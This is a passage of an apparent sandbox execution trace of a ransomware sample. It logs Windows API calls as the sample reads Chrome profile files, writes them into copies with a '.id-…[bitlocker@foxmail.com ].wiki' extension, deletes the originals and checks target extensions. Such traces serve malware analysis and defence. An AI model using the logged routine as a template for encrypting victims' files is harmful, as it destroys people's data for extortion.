(normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0177.911] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=167) returned 1 [0177.911] CloseHandle (hObject=0x1ac) returned 1 [0177.911] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\log")) returned 0x2020 [0177.911] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\log.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.911] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0177.911] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.911] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.911] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\log.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0177.912] GetLastError () returned 0x0 [0177.912] ReadFile (in: hFile=0x1ac, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0xa7, lpOverlapped=0x0) returned 1 [0177.913] WriteFile (in: hFile=0x1a0, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0xb0, lpOverlapped=0x0) returned 1 [0177.914] ReadFile (in: hFile=0x1ac, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0177.914] WriteFile (in: hFile=0x1a0, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0xda, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0xda, lpOverlapped=0x0) returned 1 [0177.914] SetEndOfFile (hFile=0x1a0) returned 1 [0177.914] CloseHandle (hObject=0x1a0) returned 1 [0177.914] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.914] SetEndOfFile (hFile=0x1ac) returned 1 [0177.915] CloseHandle (hObject=0x1ac) returned 1 [0177.915] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.915] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\log")) returned 1 [0177.915] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOG") returned 108 [0177.915] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOG") returned 108 [0177.915] lstrlenW (lpString=".doc") returned 4 [0177.915] lstrcmpiW (lpString1=".doc", lpString2="\\LOG") returned -1 [0177.915] lstrlenW (lpString=".docx") returned 5 [0177.915] lstrcmpiW (lpString1=".docx", lpString2="b\\LOG") returned -1 [0177.915] lstrlenW (lpString=".pdf") returned 4 [0177.915] lstrcmpiW (lpString1=".pdf", lpString2="\\LOG") returned -1 [0177.915] lstrlenW (lpString=".xls") returned 4 [0177.915] lstrcmpiW (lpString1=".xls", lpString2="\\LOG") returned -1 [0177.915] lstrlenW (lpString=".xlsx") returned 5 [0177.915] lstrcmpiW (lpString1=".xlsx", lpString2="b\\LOG") returned -1 [0177.916] lstrlenW (lpString=".ppt") returned 4 [0177.916] lstrcmpiW (lpString1=".ppt", lpString2="\\LOG") returned -1 [0177.916] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOG") returned 108 [0177.916] lstrlenW (lpString=".zip") returned 4 [0177.916] lstrcmpiW (lpString1=".zip", lpString2="\\LOG") returned -1 [0177.916] lstrlenW (lpString=".rar") returned 4 [0177.916] lstrcmpiW (lpString1=".rar", lpString2="\\LOG") returned -1 [0177.916] lstrlenW (lpString=".bz2") returned 4 [0177.916] lstrcmpiW (lpString1=".bz2", lpString2="\\LOG") returned -1 [0177.916] lstrlenW (lpString=".7z") returned 3 [0177.916] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0177.916] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOG") returned 108 [0177.916] lstrlenW (lpString=".dbf") returned 4 [0177.916] lstrcmpiW (lpString1=".dbf", lpString2="\\LOG") returned -1 [0177.916] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOG") returned 108 [0177.916] lstrlenW (lpString=".1cd") returned 4 [0177.916] lstrcmpiW (lpString1=".1cd", lpString2="\\LOG") returned -1 [0177.916] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOG") returned 108 [0177.916] lstrlenW (lpString=".jpg") returned 4 [0177.916] lstrcmpiW (lpString1=".jpg", lpString2="\\LOG") returned -1 [0177.916] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOG") returned 108 [0177.916] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOG") returned 108 [0177.916] lstrlenW (lpString=".doc") returned 4 [0177.916] lstrcmpiW (lpString1=".doc", lpString2="\\LOG") returned -1 [0177.916] lstrlenW (lpString=".docx") returned 5 [0177.916] lstrcmpiW (lpString1=".docx", lpString2="b\\LOG") returned -1 [0177.916] lstrlenW (lpString=".pdf") returned 4 [0177.916] lstrcmpiW (lpString1=".pdf", lpString2="\\LOG") returned -1 [0177.916] lstrlenW (lpString=".xls") returned 4 [0177.917] lstrcmpiW (lpString1=".xls", lpString2="\\LOG") returned -1 [0177.917] lstrlenW (lpString=".xlsx") returned 5 [0177.917] lstrcmpiW (lpString1=".xlsx", lpString2="b\\LOG") returned -1 [0177.917] lstrlenW (lpString=".ppt") returned 4 [0177.917] lstrcmpiW (lpString1=".ppt", lpString2="\\LOG") returned -1 [0177.917] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOG") returned 108 [0177.917] lstrlenW (lpString=".zip") returned 4 [0177.917] lstrcmpiW (lpString1=".zip", lpString2="\\LOG") returned -1 [0177.917] lstrlenW (lpString=".rar") returned 4 [0177.917] lstrcmpiW (lpString1=".rar", lpString2="\\LOG") returned -1 [0177.917] lstrlenW (lpString=".bz2") returned 4 [0177.917] lstrcmpiW (lpString1=".bz2", lpString2="\\LOG") returned -1 [0177.917] lstrlenW (lpString=".7z") returned 3 [0177.917] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0177.917] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOG") returned 108 [0177.917] lstrlenW (lpString=".dbf") returned 4 [0177.917] lstrcmpiW (lpString1=".dbf", lpString2="\\LOG") returned -1 [0177.917] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOG") returned 108 [0177.917] lstrlenW (lpString=".1cd") returned 4 [0177.917] lstrcmpiW (lpString1=".1cd", lpString2="\\LOG") returned -1 [0177.917] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOG") returned 108 [0177.917] lstrlenW (lpString=".jpg") returned 4 [0177.917] lstrcmpiW (lpString1=".jpg", lpString2="\\LOG") returned -1 [0177.917] lstrlenW (lpString="Favicons") returned 8 [0177.917] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\favicons"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0177.918] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=20480) returned 1 [0177.918] CloseHandle (hObject=0x1ac) returned 1 [0177.918] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\favicons")) returned 0x2020 [0177.918] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\favicons.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.918] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\favicons"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0177.918] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.918] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.918] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\favicons.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0177.919] GetLastError () returned 0x0 [0177.919] ReadFile (in: hFile=0x1ac, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x5000, lpOverlapped=0x0) returned 1 [0177.921] WriteFile (in: hFile=0x1a0, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0x5010, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0x5010, lpOverlapped=0x0) returned 1 [0177.922] ReadFile (in: hFile=0x1ac, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0177.923] WriteFile (in: hFile=0x1a0, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0177.923] SetEndOfFile (hFile=0x1a0) returned 1 [0177.923] CloseHandle (hObject=0x1a0) returned 1 [0177.923] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.923] SetEndOfFile (hFile=0x1ac) returned 1 [0177.924] CloseHandle (hObject=0x1ac) returned 1 [0177.924] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.924] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\favicons")) returned 1 [0177.924] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons") returned 84 [0177.924] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons") returned 84 [0177.924] lstrlenW (lpString=".doc") returned 4 [0177.924] lstrcmpiW (lpString1=".doc", lpString2="cons") returned -1 [0177.924] lstrlenW (lpString=".docx") returned 5 [0177.924] lstrcmpiW (lpString1=".docx", lpString2="icons") returned -1 [0177.924] lstrlenW (lpString=".pdf") returned 4 [0177.924] lstrcmpiW (lpString1=".pdf", lpString2="cons") returned -1 [0177.924] lstrlenW (lpString=".xls") returned 4 [0177.924] lstrcmpiW (lpString1=".xls", lpString2="cons") returned -1 [0177.925] lstrlenW (lpString=".xlsx") returned 5 [0177.925] lstrcmpiW (lpString1=".xlsx", lpString2="icons") returned -1 [0177.925] lstrlenW (lpString=".ppt") returned 4 [0177.925] lstrcmpiW (lpString1=".ppt", lpString2="cons") returned -1 [0177.925] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons") returned 84 [0177.925] lstrlenW (lpString=".zip") returned 4 [0177.925] lstrcmpiW (lpString1=".zip", lpString2="cons") returned -1 [0177.925] lstrlenW (lpString=".rar") returned 4 [0177.925] lstrcmpiW (lpString1=".rar", lpString2="cons") returned -1 [0177.925] lstrlenW (lpString=".bz2") returned 4 [0177.925] lstrcmpiW (lpString1=".bz2", lpString2="cons") returned -1 [0177.925] lstrlenW (lpString=".7z") returned 3 [0177.925] lstrcmpiW (lpString1=".7z", lpString2="ons") returned -1 [0177.925] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons") returned 84 [0177.925] lstrlenW (lpString=".dbf") returned 4 [0177.925] lstrcmpiW (lpString1=".dbf", lpString2="cons") returned -1 [0177.925] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons") returned 84 [0177.925] lstrlenW (lpString=".1cd") returned 4 [0177.925] lstrcmpiW (lpString1=".1cd", lpString2="cons") returned -1 [0177.925] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons") returned 84 [0177.925] lstrlenW (lpString=".jpg") returned 4 [0177.925] lstrcmpiW (lpString1=".jpg", lpString2="cons") returned -1 [0177.925] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons") returned 84 [0177.925] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons") returned 84 [0177.925] lstrlenW (lpString=".doc") returned 4 [0177.925] lstrcmpiW (lpString1=".doc", lpString2="cons") returned -1 [0177.925] lstrlenW (lpString=".docx") returned 5 [0177.925] lstrcmpiW (lpString1=".docx", lpString2="icons") returned -1 [0177.925] lstrlenW (lpString=".pdf") returned 4 [0177.926] lstrcmpiW (lpString1=".pdf", lpString2="cons") returned -1 [0177.926] lstrlenW (lpString=".xls") returned 4 [0177.926] lstrcmpiW (lpString1=".xls", lpString2="cons") returned -1 [0177.926] lstrlenW (lpString=".xlsx") returned 5 [0177.926] lstrcmpiW (lpString1=".xlsx", lpString2="icons") returned -1 [0177.926] lstrlenW (lpString=".ppt") returned 4 [0177.926] lstrcmpiW (lpString1=".ppt", lpString2="cons") returned -1 [0177.926] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons") returned 84 [0177.926] lstrlenW (lpString=".zip") returned 4 [0177.926] lstrcmpiW (lpString1=".zip", lpString2="cons") returned -1 [0177.926] lstrlenW (lpString=".rar") returned 4 [0177.926] lstrcmpiW (lpString1=".rar", lpString2="cons") returned -1 [0177.926] lstrlenW (lpString=".bz2") returned 4 [0177.926] lstrcmpiW (lpString1=".bz2", lpString2="cons") returned -1 [0177.926] lstrlenW (lpString=".7z") returned 3 [0177.926] lstrcmpiW (lpString1=".7z", lpString2="ons") returned -1 [0177.926] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons") returned 84 [0177.926] lstrlenW (lpString=".dbf") returned 4 [0177.926] lstrcmpiW (lpString1=".dbf", lpString2="cons") returned -1 [0177.926] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons") returned 84 [0177.926] lstrlenW (lpString=".1cd") returned 4 [0177.926] lstrcmpiW (lpString1=".1cd", lpString2="cons") returned -1 [0177.926] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons") returned 84 [0177.926] lstrlenW (lpString=".jpg") returned 4 [0177.926] lstrcmpiW (lpString1=".jpg", lpString2="cons") returned -1 [0177.926] lstrlenW (lpString="Favicons-journal") returned 16 [0177.927] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\favicons-journal"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0177.927] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=0) returned 1 [0177.927] CloseHandle (hObject=0x1ac) returned 1 [0177.927] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons-journal") returned 92 [0177.927] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons-journal") returned 92 [0177.927] lstrlenW (lpString=".doc") returned 4 [0177.927] lstrcmpiW (lpString1=".doc", lpString2="rnal") returned -1 [0177.927] lstrlenW (lpString=".docx") returned 5 [0177.927] lstrcmpiW (lpString1=".docx", lpString2="urnal") returned -1 [0177.927] lstrlenW (lpString=".pdf") returned 4 [0177.927] lstrcmpiW (lpString1=".pdf", lpString2="rnal") returned -1 [0177.927] lstrlenW (lpString=".xls") returned 4 [0177.927] lstrcmpiW (lpString1=".xls", lpString2="rnal") returned -1 [0177.927] lstrlenW (lpString=".xlsx") returned 5 [0177.927] lstrcmpiW (lpString1=".xlsx", lpString2="urnal") returned -1 [0177.927] lstrlenW (lpString=".ppt") returned 4 [0177.927] lstrcmpiW (lpString1=".ppt", lpString2="rnal") returned -1 [0177.927] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons-journal") returned 92 [0177.928] lstrlenW (lpString=".zip") returned 4 [0177.928] lstrcmpiW (lpString1=".zip", lpString2="rnal") returned -1 [0177.928] lstrlenW (lpString=".rar") returned 4 [0177.928] lstrcmpiW (lpString1=".rar", lpString2="rnal") returned -1 [0177.928] lstrlenW (lpString=".bz2") returned 4 [0177.928] lstrcmpiW (lpString1=".bz2", lpString2="rnal") returned -1 [0177.928] lstrlenW (lpString=".7z") returned 3 [0177.928] lstrcmpiW (lpString1=".7z", lpString2="nal") returned -1 [0177.928] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons-journal") returned 92 [0177.928] lstrlenW (lpString=".dbf") returned 4 [0177.928] lstrcmpiW (lpString1=".dbf", lpString2="rnal") returned -1 [0177.928] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons-journal") returned 92 [0177.928] lstrlenW (lpString=".1cd") returned 4 [0177.928] lstrcmpiW (lpString1=".1cd", lpString2="rnal") returned -1 [0177.928] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons-journal") returned 92 [0177.928] lstrlenW (lpString=".jpg") returned 4 [0177.928] lstrcmpiW (lpString1=".jpg", lpString2="rnal") returned -1 [0177.928] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons-journal") returned 92 [0177.928] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons-journal") returned 92 [0177.928] lstrlenW (lpString=".doc") returned 4 [0177.928] lstrcmpiW (lpString1=".doc", lpString2="rnal") returned -1 [0177.928] lstrlenW (lpString=".docx") returned 5 [0177.928] lstrcmpiW (lpString1=".docx", lpString2="urnal") returned -1 [0177.928] lstrlenW (lpString=".pdf") returned 4 [0177.928] lstrcmpiW (lpString1=".pdf", lpString2="rnal") returned -1 [0177.928] lstrlenW (lpString=".xls") returned 4 [0177.928] lstrcmpiW (lpString1=".xls", lpString2="rnal") returned -1 [0177.928] lstrlenW (lpString=".xlsx") returned 5 [0177.928] lstrcmpiW (lpString1=".xlsx", lpString2="urnal") returned -1 [0177.928] lstrlenW (lpString=".ppt") returned 4 [0177.929] lstrcmpiW (lpString1=".ppt", lpString2="rnal") returned -1 [0177.929] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons-journal") returned 92 [0177.929] lstrlenW (lpString=".zip") returned 4 [0177.929] lstrcmpiW (lpString1=".zip", lpString2="rnal") returned -1 [0177.929] lstrlenW (lpString=".rar") returned 4 [0177.929] lstrcmpiW (lpString1=".rar", lpString2="rnal") returned -1 [0177.929] lstrlenW (lpString=".bz2") returned 4 [0177.929] lstrcmpiW (lpString1=".bz2", lpString2="rnal") returned -1 [0177.929] lstrlenW (lpString=".7z") returned 3 [0177.929] lstrcmpiW (lpString1=".7z", lpString2="nal") returned -1 [0177.929] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons-journal") returned 92 [0177.929] lstrlenW (lpString=".dbf") returned 4 [0177.929] lstrcmpiW (lpString1=".dbf", lpString2="rnal") returned -1 [0177.929] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons-journal") returned 92 [0177.929] lstrlenW (lpString=".1cd") returned 4 [0177.929] lstrcmpiW (lpString1=".1cd", lpString2="rnal") returned -1 [0177.929] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons-journal") returned 92 [0177.929] lstrlenW (lpString=".jpg") returned 4 [0177.929] lstrcmpiW (lpString1=".jpg", lpString2="rnal") returned -1 [0177.929] lstrcmpiW (lpString1=".ico", lpString2=".wiki") returned -1 [0177.929] lstrlenW (lpString="Google Profile.ico") returned 18 [0177.929] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\google profile.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0177.930] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=176873) returned 1 [0177.930] CloseHandle (hObject=0x1ac) returned 1 [0177.930] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\google profile.ico")) returned 0x2020 [0177.930] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\google profile.ico.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.930] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\google profile.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0177.930] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.930] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 